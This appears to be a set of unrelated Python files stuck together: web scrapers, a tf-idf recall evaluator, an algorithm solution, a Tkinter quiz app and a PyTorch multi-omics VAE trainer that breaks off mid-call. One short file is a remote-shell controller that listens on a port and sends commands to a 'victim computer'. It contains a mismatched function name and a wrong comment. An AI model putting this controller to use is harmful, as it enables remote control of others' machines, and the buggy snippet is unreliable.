    allowed_domains = ['meizitu.com']
    start_urls = [
        'http://www.meizitu.com/a/',
    ]

    def parse(self, response):
        items = response.xpath('//li[@class="wp-item"]/div/div[@class="pic"]/a/@href').extract()
        for r in items:
            yield scrapy.Request(r, callback = self.parse_item)

        last = response.xpath('//div[@id="wp_page_numbers"]/ul/li[last()]/a/@href').extract()
        if last:
            next_page = response.xpath('//div[@id="wp_page_numbers"]/ul/li[last()-1]/a/@href').extract()
            if next_page:
                next_page_url = '{}{}'.format(self.start_urls[0], next_page[0])
                yield scrapy.Request(next_page_url, callback = self.parse)

    def parse_item(self, response):
        item = MeizituItem()

        title = response.xpath('//div[@class="metaRight"]/h2/a')
        item['title'] = title.xpath('text()').extract()[0]
        item['href'] = title.xpath('@href').extract()[0]

        tags = response.xpath('//div[@class="metaRight"]/p/text()').extract()
        tags = tags[0] if tags else ''
        r = re.findall('Tags:(.*),', tags)
        tags = r[0].split(',') if r else []
        _tags = []
        for r in tags:
            s = r.strip()
            if s:
                _tags.append(r.strip())
        item['tags'] = _tags

        day = response.xpath('//div[@class="metaLeft"]/div[@class="day"]/text()').extract()
        day = int(day[0]) if day else 1
        month_year = response.xpath('//div[@class="metaLeft"]/div[@class="month_Year"]/text()').extract()
        month_year = month_year[0] if month_year else ''
        month_year_list = re.findall(".*?(\d+).*?(\d+)", month_year)
        month_year_list = month_year_list[0] if month_year_list else ''
        month = int(month_year_list[0]) if month_year_list else 1
        year = int(month_year_list[1]) if month_year_list else 2016
        date = datetime.date(year = year, month = month, day = day)
        item['day'] = date.strftime('%Y-%m-%d')

        pictures = response.xpath('//div[@id="picture"]/p/img')
        _pictures = []
        for p in pictures:
            src = p.xpath('@src').extract()
            if src:
                _pictures.append(src[0])
        if not _pictures:
            pictures = response.xpath('//p/img')
            _pictures = []
            for p in pictures:
                src = p.xpath('@src').extract()
                if src:
                    _pictures.append(src[0])

        item['pictures'] = _pictures

        item['update_time'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')

        yield item


import socket, sys

# Create a socket to connect two computers
def create_socket():
    try:
        global host
        global port
        global socket
        host = ""
        port = 999
        socket = socket.socket()
    except socket.error as msg:
        print("Error creating a socket: " + str(msg))
        print("Retrying...")
        create_socket()

# Binding the socket and listening for connections
def bind_socket():
    try:
        global host
        global port
        global socket

        print("Binding the port: " + str(port))
        socket.bind((host, port))
        socket.listen(5) # 5 is the number of bad errors to tolerate

    except socket.error as msg:
        print("Error binding the socket with port: " + str(msg))
        print("Retrying...")
        bind_socket()

# Establish connection with a client
# Socket must be listening
def socket_accept():
    conn, address = socket.accept()
    print("Connection has been established with IP " + address[0]
          + " Port: " + str(address[1]))
    send_command(conn)
    conn.close()

# sends commands to victim computer
def send_commands(conn):
    while True:
        cmd = input()
        if cmd == "quit":
            conn.close()
            socket.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), "utf-8")
            print(client_response, end="")

def main():
    create_socket()
    bind_socket()
    socket_accept()

if __name__ == "__main__":
    main()


#!/usr/bin/env python2
import os, datetime
from time import sleep

import finalip_lib as l
import requests
from lxml.html import fromstring

DIR = os.path.join(os.environ['READER_ROOT'], '..', 'finalips')
try:
    os.mkdir(DIR)
except OSError:
    pass

MONTHS = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']

def save(meta_session, p_t03, p_t04, next_url = None):
    'Make the request, save the html of the response, and pass the meta-session along.'
    session = meta_session[0]
    if next_url == None:
        # First page
        response = l.apex_submit(meta_session, p_t03, p_t04)
    else:
        # Next page
        response = session.get(next_url)

    # Check whether there's anything on the page
    if 'Search Criteria Returned No Results.' in response.text.encode('utf-8'):
        return

    # Parse the HTML.
    html = fromstring(response.text.encode('utf-8'))

    # Save
    filedir = os.path.join(DIR, p_t03, p_t04)
    option_texts = html.xpath('//select[@name="X01"]/option[@selected]/text()')
    if len(option_texts) > 0:
        filename = option_texts[0]
    else:
        # May 2012, rows 301 to 330 has trouble.
        # import pdb
        # pdb.set_trace()
        return

    try:
        os.makedirs(filedir)
    except OSError:
        pass
    h = open(os.path.join(filedir, filename), 'w')
    h.write(response.text.encode('utf-8'))
    h.close()

    print('Downloaded %s %s, page %s' % (MONTHS[int(p_t04) - 1], p_t03, filename))

    # Pass state
    meta_session = session, response, html
    return meta_session

def _month_done(p_t03, p_t04):
    monthdir = os.path.join(DIR, p_t03, p_t04)
    if not os.path.isdir(monthdir):
        return False

    filenames = os.listdir(monthdir)
    if len(filenames) > 0:
        total_rows = filenames[0].split(' ')[-1]
        for filename in filenames:
            if '%s of %s' % (total_rows, total_rows) in filename:
                return True
    return False

def _get_first_meta_session():
    session = requests.session()
    response = session.get('http://geo.usace.army.mil/egis/f?p=340:2:1433809126328401::NO:RP::')
    html = fromstring(response.text.encode('utf-8'))
    return (session, response, html)
meta_session = _get_first_meta_session()

for p_t03 in l.p_t03s(meta_session[2]):
    for p_t04 in l.p_t04s(meta_session[2]):
        # Skip this month if it is already done
        params = (MONTHS[int(p_t04) - 1], p_t03)

        # May 2012, rows 301 to 330 has trouble.
        if params == ('May', '2012'):
            continue

        if _month_done(p_t03, p_t04):
            print('Skipping %s %s' % params)
            continue
        else:
            print('Working on %s %s' % params)

        _meta_session = save(meta_session, p_t03, p_t04)
        if _meta_session == None:
            print('No results for %s %s' % params)
            continue
        else:
            meta_session = _meta_session

        while True:
            sleep(1)
            html = meta_session[2]
            nexts = html.xpath('//a[text()="Next >"]/@href')
            if len(nexts) == 0:
                print('End of %s %s' % params)
                break
            else:
                meta_session = save(meta_session, p_t03, p_t04, u'http://geo.usace.army.mil/egis/' + nexts[0])


#!/home/tridimensional/u/dcc/octavo/rim/rim/bin/python3
import pickle
import dataset
import sys

def main():
    if len(sys.argv) != 2:
        print(f"Uso: {sys.argv[0]} file-name")
        sys.exit(1)

    with open("dataset.obj", 'rb') as f:
        data = pickle.load(f)

    file_name = sys.argv[1]
    try:
        with open(file_name, 'r') as f:
            ground_truth = f.readlines()
    except FileNotFoundError:
        print(f"El archivo {file_name} no existe")
        sys.exit(1)

    ground_truth = list(map(lambda x: x.split(sep=','), ground_truth))
    for i, lst in enumerate(ground_truth):
        large = len(lst) - 1
        lst[large] = lst[large].replace("\n", "")
        n = large - 1

        name = ground_truth[i][1]
        category = ground_truth[i][0]

        nns = data.get_nns_name(ground_truth[i][1], n)
        nns_gt = lst[2:len(lst)]

        text1 = f"Agrupando los vecinos más cercanos de {name} según"
        text2 = f"la categoría {category} (según el ground truth) se tiene:"
        print(text1)
        print(text2)

        count = 0
        for nn in nns_gt:
            print(f" - {nn}")
            nn = f"{nn} subs.srt"
            if nn in nns:
                count += 1

        text1 = f"Ahora, los vecinos más cercanos de {name}"
        text2 = "obtenidos según td-idf son los siguientes:"
        print(text1)
        print(text2)

        for nn in nns:
            print(f" - {nn}")

        recall = count/n
        print(f"Se obtuvo un recall de {recall}")
        print("")

if __name__ == "__main__":
    main()


import sys

input = sys.stdin.readline

# 1029 그림 교환
# 그림을 한 번도 이 그림을 산적이 없는 사람에게 자신이 사온 가격과 같거나 더 비싸게 팔 수 있고
# 0~n-1 번 까지의 사람이 서로 그림을 사고파는 가격이 주어졌을 때 그림을 샀던적이 있는 사람의 수의 최댓값을 구하는 문제
# 단, 0번 사람은 가격 0에 그림을 사왔다고 가정한다.
def sol1029():
    n = int(input())
    g = [[*map(int, list(input().rstrip()))] for _ in range(n)]
    bit = [1 << i for i in range(n+1)]

    # 그림의 소유자는 0번이고 소유이력이 있는 사람도 0번뿐이며 마지막 거래가도 0인 상태(초기상태)
    q = {(0, 1, 0)}

    # 거래 횟수
    answer = 0
    while q:
        nq = set()
        # 거래횟수가 answer+1일 때 그림을 가진사람이 있다면 거래횟수 증가
        answer += 1
        for cur, state, price in q:
            for nxt in range(n):
                # nxt 번째 사람과 거래할 경우 상태와 최종거래가
                nstate, nprice = state | bit[nxt], g[cur][nxt]

                # 이미 그림을 구매한 적이 있는 사람이거나 최종 거래가보다 낮은 가격에 팔아야할 경우 거래하지 않음
                if state == nstate or nprice < price:
                    continue

                # set 에 해당 케이스 추가(중복은 자동으로 제거)
                nq.add((nxt, nstate, nprice))
        q = nq

    # 최대 거래횟수 반환
    return answer


from tkinter import *
from quiz_brain import QuizBrain

THEME_COLOR = "#375362"
TRUE_IMAGE_PATH = 'images/true.png'
FALSE_IMAGE_PATH = 'images/false.png'
FEEDBACK_FONT = ('Arial', 24, 'bold')

class QuizInterface:

    def __init__(self, quiz_brain: QuizBrain):
        self.quiz_brain = quiz_brain
        self.window = Tk()
        self.window.title("Quizzler")
        self.window.config(bg=THEME_COLOR, pady=20, padx=20)
        self.score = 0
        self.score_text = Label(text=f"Score: {self.score}", bg=THEME_COLOR, fg='white', font=('Arial', 10, 'bold'))
        self.score_text.grid(row=0, column=1)

        self.canvas = Canvas(bg='white', height=250, width=300)
        self.load_next_question()
        self.canvas.grid(column=0, row=1, columnspan=2, pady=20)

        self.true_photo = PhotoImage(file=TRUE_IMAGE_PATH)
        self.true_button = Button(bg=THEME_COLOR, image=self.true_photo, command=self.true_button_pressed)
        self.true_button.grid(column=0, row=2)

        self.false_photo = PhotoImage(file=FALSE_IMAGE_PATH)
        self.false_button = Button(bg=THEME_COLOR, image=self.false_photo, command=self.false_button_pressed)
        self.false_button.grid(column=1, row=2)

        self.window.mainloop()

    def load_next_question(self):
        if self.quiz_brain.still_has_questions():
            question = self.quiz_brain.next_question()
            self.canvas.delete('all')
            self.canvas.create_text(150, 125, text=question,
                                    font=("Arial", 20, 'italic'),
                                    width=280)
        else:
            self.end_game_report()
            self.true_button.config(state='disabled')
            self.false_button.config(state='disabled')

    def true_button_pressed(self):
        if self.quiz_brain.check_answer('true'):
            self.print_correct()
            self.increment_score()
        else:
            self.print_wrong()
        self.canvas.after(2000, func=self.load_next_question)

    def false_button_pressed(self):
        if self.quiz_brain.check_answer('false'):
            self.print_correct()
            self.increment_score()
        else:
            self.print_wrong()
        self.canvas.after(2000, func=self.load_next_question)

    def print_correct(self):
        self.canvas.delete('all')
        self.canvas.create_text(150, 125, text="Correct! " + "\U0001F44D", fill='green', font=FEEDBACK_FONT)

    def print_wrong(self):
        self.canvas.delete('all')
        self.canvas.create_text(150, 125, text="Wrong " + "\U0001F44E", fill='red', font=FEEDBACK_FONT)

    def increment_score(self):
            self.score += 1
            self.score_text.config(text=f"Score: {self.score}")

    def end_game_report(self):
        self.canvas.delete('all')
        self.canvas.create_text(150, 125, text="That was the last question", font=('Arial', 20, 'italic'), width=200)
        self.canvas.after(3000, func=self.print_final_score_on_screen)

    def print_final_score_on_screen(self):
        self.canvas.delete('all')
        self.canvas.create_text(150, 125, text=f"You answered {self.score} questions correctly",
                                font=('Arial', 20, 'italic'),
                                width=280)
        self.canvas.after(3000, func=self.print_smiley_face)

    def print_smiley_face(self):
        self.canvas.delete('all')
        self.canvas.create_text(150, 125, text="\U0001F642", font=('Arial', 60))
        self.window.after(3000, func=self.window.destroy)

    # def enable_buttons(self):
    #     self.true_button.config(state='normal')
    #     self.false_button.config(state='normal')

    # def disable_buttons(self):
    #     self.true_button.config(state='disabled')
    #     self.false_button.config(state='disabled')


import os
import shap
import torch
import pickle
import PhenPred
import warnings
import numpy as np
import pandas as pd
import torch.nn as nn
import seaborn as sns
import matplotlib.pyplot as plt
from tqdm import tqdm
from torchinfo import summary
from datetime import datetime
from PhenPred.vae import plot_folder
from torch.utils.data import DataLoader
from PhenPred.vae.Model import MOVE
from PhenPred.vae.ModelGMVAE import GMVAE
from PhenPred.vae.Losses import CLinesLosses
from sklearn.model_selection import (
    KFold,
    StratifiedKFold,
    StratifiedShuffleSplit,
    ShuffleSplit,
)

class CLinesTrain:
    def __init__(
        self,
        data,
        hypers,
        stratify_cv_by=None,
        early_stop_patience=20,
        timestamp=None,
        verbose=0,
    ):
        self.data = data
        self.losses = []
        self.hypers = hypers
        self.stratify_cv_by = stratify_cv_by
        self.verbose = verbose

        self.timestamp = (
            datetime.now().strftime("%Y%m%d_%H%M%S") if timestamp is None else timestamp
        )

        self.early_stop_patience = early_stop_patience

        self.lrs = [(1, hypers["learning_rate"])]
        self.benchmark_scores = []

        self.device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

    def run(self, run_timestamp=None):
        if run_timestamp is not None:
            self.timestamp = run_timestamp
            return

        if not self.hypers["skip_cv"]:
            self.training(drop_last=True)
            losses_df = self.save_losses()
            self.plot_losses(losses_df)

        self.predictions(drop_last=True)

        if self.hypers["save_model"]:
            self.save_model()

    def initialize_model(self):
        views_sizes = {n: v.sum() for n, v in self.data.features_mask.items()}
        views_sizes_full = None

        if self.hypers["filtered_encoder_only"]:
            views_sizes_full = {n: v.shape[1] for n, v in self.data.views.items()}

        assert self.hypers["model"] in ["MOVE", "GMVAE"], "Invalid model"

        if self.hypers["model"] == "MOVE":
            model = MOVE(
                hypers=self.hypers,
                views_sizes=views_sizes,
                conditional_size=self.data.labels.shape[1]
                if self.hypers["use_conditionals"]
                else 0,
                views_sizes_full=views_sizes_full,
            )
        else:
            model = GMVAE(
                hypers=self.hypers,
                views_sizes=views_sizes,
                views_sizes_full=views_sizes_full,
                conditional_size=self.data.labels.shape[1]
                if self.hypers["use_conditionals"]
                else 0,
            )

        model = nn.DataParallel(model)

        print(summary(model))

        return model

    def epoch(
        self,
        model,
        optimizer,
        dataloader,
        record_losses=None,
    ):
        for data in dataloader:
            x, y, x_nans, x_mask = data

            x = [m.to(self.device) for m in x]
            x_nans = [m.to(self.device) for m in x_nans]

            x_masked = [m[:, x_mask[i][0]].to(self.device) for i, m in enumerate(x)]
            x_nans_masked = [
                m[:, x_mask[i][0]].to(self.device) for i, m in enumerate(x_nans)
            ]

            y = y.to(self.device)

            optimizer.zero_grad()

            with torch.set_grad_enabled(model.training):
                if self.hypers["use_conditionals"]:
                    out_net = model(x_masked + [y])
                else:
                    out_net = model(x_masked)

                if self.hypers["filtered_encoder_only"]:
                    # if filtered_encoder_only, use all data for loss
                    loss = model.module.loss(x, x_nans, out_net, y, x_mask)
                else:
                    # otherwise, use only filtered data for loss
                    loss = model.module.loss(
                        x_masked, x_nans_masked, out_net, y, x_mask
                    )

                if model.training:
                    loss["total"].backward()
                    optimizer.step()

            if record_losses is not None:
                self.register_loss(loss, record_losses)

                if self.verbose > 1:
                    self.benchmarks(x, y, out_net["x_hat"], record_losses)

            else:
                self.print_single_loss(loss)

    def benchmarks(self, x, labels, x_hat, record_losses):
        # CDKN2A proteomics benchmark
        f = "CDKN2A"

        prot_idx = self.data.get_view_feature_index(f, "proteomics")
        prot_view_index = self.data.view_names.index("proteomics")
        prot_pred = x_hat[prot_view_index][:, prot_idx]

        if "copynumber" in self.data.view_names:
            cnvs_idx = self.data.get_view_feature_index(f, "copynumber")
            cnvs_view_index = self.data.view_names.index("copynumber")
            cnvs_true = x[cnvs_view_index][:, cnvs_idx]
        else:
            cnvs_idx = self.data.labels_name.index(f"cnv_{f}")
            cnvs_true = labels[:, cnvs_idx]

        # check if there are any CNVs with -2 value
        f_score = np.nanmedian(
            prot_pred[cnvs_true != -2].detach().numpy()
        ) - np.nanmedian(prot_pred[cnvs_true == -2].detach().numpy())

        f_res = dict(benchmark=f, score=f_score)
        f_res.update(record_losses)
        self.benchmark_scores.append(f_res)

    def cv_strategy(self, shuffle_split=False):
        if shuffle_split and self.stratify_cv_by is not None:
            cv = StratifiedShuffleSplit(
                n_splits=self.hypers["n_folds"],
                test_size=0.1,
                random_state=42,
            ).split(self.data, self.stratify_cv_by.reindex(self.data.samples))
        elif shuffle_split:
            cv = ShuffleSplit(
                n_splits=self.hypers["n_folds"], test_size=0.1, random_state=42
            ).split(self.data)
        elif self.stratify_cv_by is not None:
            cv = StratifiedKFold(
                n_splits=self.hypers["n_folds"], shuffle=True, random_state=42
            ).split(self.data, self.stratify_cv_by.reindex(self.data.samples))
        else:
            cv = KFold(
                n_splits=self.hypers["n_folds"], shuffle=True, random_state=42
            ).split(self.data)

        return cv

    def training(self, cv=None, drop_last=False):
        cv_idx, epoch = 0, 0

        cvtest_datasets = {n: [] for n in self.data.view_names}

        cv = self.cv_strategy() if cv is None else cv

        for cv_idx, (train_idx, test_idx) in enumerate(cv, start=1):
            is_early_stop = False

            # Train and Test Data
            data_train = torch.utils.data.Subset(self.data, train_idx)
            dataloader_train = DataLoader(
                data_train,
                batch_size=self.hypers["batch_size"],
                shuffle=True,
                drop_last=drop_last,
            )

            data_test = torch.utils.data.Subset(self.data, test_idx)
            dataloader_test = DataLoader(
                data_test,
                batch_size=self.hypers["batch_size"],
                shuffle=False,
                drop_last=drop_last,
            )

            # Initialize Model and Optimizer
            model = self.initialize_model()
            optimizer = CLinesLosses.get_optimizer(model, self.hypers)
            scheduler = CLinesLosses.get_scheduler(optimizer, self.hypers)

            model.to(self.device)

            # Train and Test Model
            loss_previous, loss_counter = None, 0
            for epoch in range(1, self.hypers["num_epochs"] + 1):
                # Train
                model.train()
                self.epoch(
                    model,
                    optimizer,
                    dataloader_train,
                    dict(
                        cv=cv_idx,
                        epoch=epoch,
                        type="train",
                        lr=optimizer.param_groups[0]["lr"],
                    ),
                )

                # Test
                model.eval()
                self.epoch(
                    model,
                    optimizer,
                    dataloader_test,
                    dict(
                        cv=cv_idx,
                        epoch=epoch,
                        type="val",
                        lr=optimizer.param_groups[0]["lr"],
                    ),
                )

                if self.hypers["model"] == "GMVAE" and self.hypers["gmvae_decay_temp"]:
                    new_gumbel_temp = np.maximum(
                        self.hypers["gmvae_init_temp"]
                        * np.exp(-self.hypers["gmvae_decay_temp_rate"] * epoch),
                        self.hypers["gmvae_min_temp"],
                    )

                    if self.verbose > 1:
                        print(f"Gumbel Temperature: {new_gumbel_temp:.3f}")

                    model.module.gumbel_temp = new_gumbel_temp

                self.print_losses(cv_idx, epoch)

                # Early Stopping
                loss_current = self.get_losses(cv_idx, epoch, "type").loc[
                    "val", "reconstruction"
                ]
                loss_current_total = self.get_losses(cv_idx, epoch, "type").loc[
                    "val", "total"
                ]

                # Check if loss is finite
                if not (np.isfinite(loss_current) or np.isfinite(loss_current_total)):
                    warnings.warn(f"NaN or Inf loss at cv {cv_idx}, epoch {epoch}.")
                    return np.nan, cvtest_datasets

                elif loss_previous is None:
                    loss_previous = loss_current

                elif round(loss_current, 2) < round(loss_previous, 2):
                    loss_counter = 0
                    loss_previous = loss_current

                else:
                    loss_counter += 1

                if loss_counter >= self.early_stop_patience:
                    warnings.warn(f"Early stopping at cv {cv_idx}, epoch {epoch}.")
                    is_early_stop = True

                if scheduler is not None:
                    self.update_learning_rate(scheduler, optimizer, loss_current, epoch)

                # If last epoch, save test predictions
                if epoch == self.hypers["num_epochs"] or is_early_stop:
                    data_test_all = DataLoader(
                        data_test, batch_size=len(test_idx), shuffle=False
                    )

                    for data in data_test_all:
                        x, y, _, x_mask = data

                        x_masked = [m[:, x_mask[i][0]] for i, m in enumerate(x)]

                        if self.hypers["use_conditionals"]:
                            out_net = model(x_masked + [y])
                        else:
                            out_net = model(x_masked)

                        x_hat = out_net["x_hat"]

                        for name, df in zip(self.data.view_names, x_hat):
                            df_hat = pd.DataFrame(
                                self.data.view_scalers[name].inverse_transform(
                                    df.tolist()
                                ),
                                index=pd.Series(self.data.samples)
                                .iloc[test_idx]
                                .values,
                                columns=self.data.view_feature_names[name],
                            )

                            if name in {"copynumber"}:
                                df_hat = df_hat.round()

                            cvtest_datasets[name].append(df_hat)

                    break

        # Concat test datasets
        cvtest_datasets = {
            name: pd.concat(dfs) for name, dfs in cvtest_datasets.items()
        }

        for name, df in cvtest_datasets.items():
            df.round(5).to_csv(
                f"{plot_folder}/files/{self.timestamp}_imputed_{name}_cvtest.csv.gz",
                compression="gzip",
            )

        return (
            self.get_losses(cv_idx, epoch, "type").loc["val", "reconstruction"],
            cvtest_datasets,
        )

    def update_learning_rate(self, scheduler, optimizer, loss_current, epoch):
        scheduler.step(loss_current)

        current_lr = optimizer.param_groups[0]["lr"]

        if round(current_lr, 4) < round(self.lrs[-1][1], 4):
            self.lrs.append((epoch, current_lr))

    def predictions(self, n_epochs=None, drop_last=False):
        imputed_datasets = dict()

        n_epochs = self.hypers["num_epochs"] if n_epochs is None else n_epochs

        # Data Loader
        data_all = DataLoader(
            self.data,
            batch_size=self.hypers["batch_size"],
            shuffle=True,
            drop_last=drop_last,
        )

        self.model = self.initialize_model()
        optimizer = CLinesLosses.get_optimizer(self.model, self.hypers)

        for e in range(1, n_epochs + 1):
            self.model.train()
            print(f"Epoch {e:03}")
            self.epoch(
                self.model,
                optimizer,
                data_all,
            )

        # Make predictions and latent spaces
        data_all = DataLoader(
            self.data, batch_size=len(self.data.samples), shuffle=False
        )

        self.model.eval()
        with torch.no_grad():
            for data in data_all:
                x, y, _, x_mask = data

                x_masked = [m[:, x_mask[i][0]] for i, m in enumerate(x)]

                if self.hypers["use_conditionals"]:
                    out_net = self.model(x_masked + [y])
                else:
                    out_net = self.model(x_masked)

                x_hat = out_net["x_hat"]
                z = out_net["z"]

                for name, df in zip(self.data.view_names, x_hat):
                    imputed_datasets[name] = pd.DataFrame(
                        self.data.view_scalers[name].inverse_transform(df.tolist()),
                        index=self.data.samples,
                        columns=self.data.view_feature_names[name],
                    )

                    if name in {"copynumber"}:
                        imputed_datasets[name] = imputed_datasets[name].round()

                z = pd.DataFrame(z.tolist(), index=self.data.samples)
                z.columns = [f"Latent_{i+1}" for i in range(z.shape[1])]

                # Write to file
                for name, df in imputed_datasets.items():
                    df.round(5).to_csv(
                        f"{plot_folder}/files/{self.timestamp}_imputed_{name}.csv.gz",
                        compression="gzip",
                    )

                z.round(5).to_csv(
                    f"{plot_folder}/files/{self.timestamp}_latent_joint.csv.gz",
                    compression="gzip",
                )

    def load_vae_reconstructions(self, mode="nans_only", dfs=None):
        """
        Load imputed data and latent space from files. "nans_only" mode, original
        measurements are mantained and only NaNs are imputed. "all" mode all
        data is imputed.

        Parameters
        ----------
        mode : str, optional
            Loading mode of imputed data, by default "nans_only"

        Returns
        -------
        dict
            Dictionary of imputed dataframes
            pandas.DataFrame
                Latent space

        Raises
        ------
        ValueError
            If mode is not "nans_only" or "all"

        """

        if mode not in ["nans_only", "all"]:
            raise ValueError(f"Invalid mode {mode}")

        if dfs is None:
            dfs = self.data.dfs

        dfs_imputed = {}
        for n in dfs:
            df_file = f"{plot_folder}/files/{self.timestamp}_imputed_{n}.csv.gz"

            if not os.path.isfile(df_file):
                continue

            df_imputed = pd.read_csv(df_file, index_col=0)

            if mode == "nans_only":
                df_imputed = self.data.dfs[n].combine_first(df_imputed)

            dfs_imputed[n] = df_imputed

        # Load latent space
        joint_latent = pd.read_csv(
            f"{plot_folder}/files/{self.timestamp}_latent_joint.csv.gz", index_col=0
        )

        return dfs_imputed, joint_latent

    def register_loss(self, loss, extra_fields=None):
        r = {
            k: float(v)
            for k, v in loss.items()
            if type(v) == torch.Tensor and v.numel() == 1
        }

        if "reconstruction_views" in loss:
            for i, v in enumerate(loss["reconstruction_views"]):
                r[f"mse_{self.data.view_names[i]}"] = float(v)

        if extra_fields is not None:
            r.update(extra_fields)

        self.losses.append(r)

    def get_losses(self, cv_idx, epoch_idx, groupby=None):
        l = pd.DataFrame(self.losses).query(f"cv == {cv_idx} & epoch == {epoch_idx}")
        if groupby is not None:
            l = l.groupby(groupby).mean()
        return l

    def get_benchmark(self, cv_idx, epoch_idx, groupby=None, benchmark=None):
        l = pd.DataFrame(self.benchmark_scores).query(
            f"cv == {cv_idx} & epoch == {epoch_idx}"
        )

        if benchmark is not None:
            l = l.query(f"benchmark == '{benchmark}'")

        if groupby is not None:
            l = l.groupby(groupby).mean()

        return l

    def print_single_loss(self, loss_dict, pbar=None):
        ptxt = f"[{datetime.now().strftime('%H:%M:%S')}] Loss "
        ptxt += f" | Total={loss_dict['total']:.2f}"

        for k in loss_dict:
            if k not in ["cv", "epoch", "type", "total", "lr"] and "_" not in k:
                ptxt += f" | {k}={loss_dict[k]:.2f}"

        if pbar is not None:
            pbar.set_description(ptxt)
        else:
            print(ptxt)

    def print_losses(self, cv_idx, epoch_idx, pbar=None):
        l = self.get_losses(cv_idx, epoch_idx, groupby="type")

        ptxt = f"[{datetime.now().strftime('%H:%M:%S')}] CV={cv_idx:02}, Epoch={epoch_idx:03} Loss (train/val)"
        ptxt += f" | Total={l.loc['train', 'total']:.2f}/{l.loc['val', 'total']:.2f}"

        for k in l.columns:
            if k not in ["cv", "epoch", "type", "total", "lr"] and "_" not in k:
                ptxt += f" | {k}={l.loc['train', k]:.2f}/{l.loc['val', k]:.2f}"

        if self.verbose > 1:
            ptxt += f"\n[Benchmark scores (train/val)] "

            bench_df = self.get_benchmark(
                cv_idx, epoch_idx, groupby=["benchmark", "type"]
            ).reset_index()

            for b_name, b_df in bench_df.groupby("benchmark"):
                b_df = b_df.set_index("type")
                ptxt += f"{b_name}: {b_df.loc['train', 'score']:.2f}/{b_df.loc['val', 'score']:.2f} | "

        if pbar is not None:
            pbar.set_description(ptxt)
        else:
            print(ptxt)

    def save_losses(self):
        l = pd.DataFrame(self.losses)
        l.to_csv(f"{plot_folder}/files/{self.timestamp}_losses.csv", index=False)
        return l

    def load_losses_df(self):
        return pd.read_csv(f"{plot_folder}/files/{self.timestamp}_losses.csv")

    def save_model(self):
        if self.model is None:
            warnings.warn("No model to save. Run predictions first.")
        else:
            torch.save(
                self.model.state_dict(),
                f"{plot_folder}/files/{self.timestamp}_model.pt",
            )

    def load_model(self):
        model_path = f"{plot_folder}/files/{self.timestamp}_model.pt"

        if not os.path.isfile(model_path):
            warnings.warn(f"No model to load. {model_path}")
            raise FileNotFoundError

        self.model = self.initialize_model()
        self.model.load_state_dict(
            torch.load(
                f"{plot_folder}/files/{self.timestamp}_model.pt",
            )
        )

    def run_shap(self, n_samples=50, seed=42, explain_target="latent"):
        torch.manual_seed(seed)
        self.model.module.return_for_shap = explain_target
        if explain_target == "latent":
            batch_size = len(self.data.samples)
        elif explain_target == "drug_response":
            batch_size = len(self.data.samples) // 5
        else:
            raise ValueError(f"Invalid explain_target {explain_target}")

        self.model.eval()
        data_all = DataLoader(
            self.data,
            batch_size=batch_size,
            shuffle=False if explain_target == "latent" else True,
        )
        data = next(iter(data_all))
        x, y, x_nans, x_mask = data

        x = [m.to(self.device) for m in x]
        x_nans = [m.to(self.device) for m in x_nans]

        x_masked = [m[:, x_mask[i][0]].to(self.device) for i, m in enumerate(x)]
        x_nans_masked = [
            m[:, x_mask[i][0]].to(self.device) for i, m in enumerate(x_nans)
        ]
        y = y.to(self.device)

        if self.hypers["use_conditionals"]:
            input_list = x_masked + [y]
        else:
            input_list = x_masked

        explainer = shap.explainers._gradient._PyTorchGradient(
            self.model,
            input_list,
        )
        shap_values = explainer.shap_values(input_list, nsamples=n_samples)
        pickle.dump(
            shap_values,
            open(
                f"{plot_folder}/files/{self.timestamp}_shap_values_{explain_target}.pkl",
                "wb",
            ),
        )

    def _plot_lr_rates(self, ax):
        for e, lr in self.lrs:
            ax.axvline(e, color="black", linestyle="--", alpha=0.5, lw=0.3)
            ax.text(
                e,
                ax.get_ylim()[1],
                f"LR={lr:.0e}",
                ha="left",
                va="top",
                rotation=90,
                fontsize=4,
            )

    def plot_losses(self, losses_df=None, loss_terms=None, figsize=(3, 2)):
        if losses_df is None:
            losses_df = self.load_losses_df()

        # Plot total losses
        plot_df = pd.melt(losses_df, id_vars=["epoch", "type"], value_vars="total")

        _, ax = plt.subplots(1, 1, figsize=figsize, dpi=600)
        sns.lineplot(
            data=plot_df,
            x="epoch",
            y="value",
            hue="type",
            errorbar=("ci", 99),
            err_kws=dict(alpha=0.2, lw=0),
            ax=ax,
        )
        self._plot_lr_rates(ax)
        ax.set(
            title=f"Train and Validation Loss",
            xlabel="Epoch",
            ylabel="Loss",
        )
        ax.legend(
            title="Losses",
            loc="upper left",
            bbox_to_anchor=(1, 1),
        )
        PhenPred.save_figure(
            f"{plot_folder}/losses/{self.timestamp}_train_validation_loss"
        )

        # Plot reconstruction losses
        if loss_terms is None:
            cols = [
                c
                for c in losses_df
                if c not in ["cv", "epoch", "type", "total", "lr"] and "_" in c
            ]
        else:
            cols = loss_terms

        unique_prefix = {v.split("_")[0] for v in cols}
        for prefix in unique_prefix:
            plot_df = pd.melt(
                losses_df,
                id_vars=["epoch", "type"],
                value_vars=[c for c in cols if c.startswith(prefix)],
            )

            _, ax = plt.subplots(1, 1, figsize=figsize, dpi=600)
            sns.lineplot(
                data=plot_df,
                x="epoch",
                y="value",
                hue="variable",
                style="type",
                errorbar=("ci", 99),
                err_kws=dict(alpha=0.2, lw=0),
                ax=ax,
            )
            self._plot_lr_rates(ax)
            ax.legend(
                title="Losses",
                loc="upper left",
                bbox_to_anchor=(1, 1),
            )
            ax.set(
                title=f"Total loss",
                xlabel="Epoch",
                ylabel="Loss",
            )
            PhenPred.save_figure(
                f"{plot_folder}/losses/{self.timestamp}_{prefix}_losses"
            )

        # Plot loss terms
        if loss_terms is None:
            cols = [
                c
                for c in losses_df
                if c not in ["cv", "epoch", "type", "total", "lr"] and "_" not in c
            ]
        else:
            cols = loss_terms

        plot_df = pd.melt(
            losses_df,
            id_vars=["epoch", "type"],
            value_vars=cols,
        )

        _, ax = plt.subplots(1, 1, figsize=figsize, dpi=600)
        sns.lineplot(
            data=plot_df,
            x="epoch",
            y="value",
            hue="variable",
            style="type",
            errorbar=("ci", 99),
            err_kws=dict(alpha=0.2, lw=0),
            ax=ax,
        )
        self._plot_lr_rates(ax)
        ax.legend(
            title="Losses",
            loc="upper left",
            bbox_to_anchor=(1, 1),
        )
        ax.set(
            title=f"Total loss",
            xlabel="Epoch",
